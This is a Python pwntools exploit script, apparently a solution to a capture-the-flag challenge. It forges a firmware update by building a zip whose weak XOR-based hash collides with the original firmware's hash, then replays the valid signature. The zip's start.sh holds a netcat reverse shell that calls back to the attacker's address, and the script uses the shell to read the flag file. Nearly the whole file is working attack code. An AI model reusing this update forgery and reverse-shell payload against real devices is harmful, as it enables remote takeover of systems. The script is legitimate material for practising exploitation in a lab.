#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 5e6a25e4-70e9-4467-ab1a-caba58cdf8e8.rdocker.vuln.land --port 1337
from pwn import *
from io import BytesIO
from Crypto.Hash import SHA1
from Crypto.Util.number import long_to_bytes, bytes_to_long
from hackingscripts import util, rev_shell
import zipfile

host = args.HOST or '98db68c6-42be-4b6c-94f3-87a044a60d13.rdocker.vuln.land'
port = int(args.PORT or 1337)

def start_remote(argv=[], *a, **kw):
    return connect(host, port)

def start(argv=[], *a, **kw):
    return start_remote(argv, *a, **kw)

def hash_data(content):
    h = 0
    for i in range(0, len(content), 8):
        h ^= sum([content[i+j] << 8*j for j in range(8) if i+j < len(content)])
    return SHA1.new(hex(h).encode()).hexdigest()

def get_version():
    io.recvuntil(b"$ ")
    io.sendline(b"version")
    data = io.recvuntil(b"\n\n")
    return re.search(r"Version 1.3.3.7, Signature: (.*)", data.decode())[1]

def update(zip_file, signature):
    io.recvuntil(b"$ ")
    io.sendline(b"update")
    io.recvuntil(b"> ")
    io.sendline(base64.b64encode(zip_file))
    io.recvuntil(b"> ")
    io.sendline(signature.encode())

def send_exit():
    io.recvuntil(b"$ ")
    io.sendline(b"exit")

io = start()

with open("firmware.zip", "rb") as f:
    orig_firmware = f.read()
    orig_hash = hash_data(orig_firmware)
    print("[+] Orig hash:", orig_hash)

ip_address = util.get_address()
shell_port = 1234
shell_cmd = rev_shell.generate_payload("nc", ip_address, shell_port, method="fifo", shell="/bin/sh")
zip_data = BytesIO()
with zipfile.ZipFile(zip_data, "w") as zip_file:
    zip_file.writestr("start.sh", shell_cmd)

# new_zip ^ orig_firmware ^ new_zip == orig_firmware
initial_zip_data = zip_data.getvalue()
zip_data = initial_zip_data
zip_data = util.pad(zip_data, 8)
zip_data += orig_firmware
zip_data = util.pad(zip_data, 8)
zip_data += initial_zip_data
zip_hash = hash_data(zip_data)

print("[+] Update hash:", zip_hash)
assert zip_hash == orig_hash

signature = get_version()
print("[+] Signature:", signature)
shell = rev_shell.trigger_background_shell(lambda: update(zip_data, signature), shell_port)
flag = shell.exec_sync("cat /app/flag && echo")
shell.close()
send_exit()
io.close()

print("[+] Flag:", flag.decode())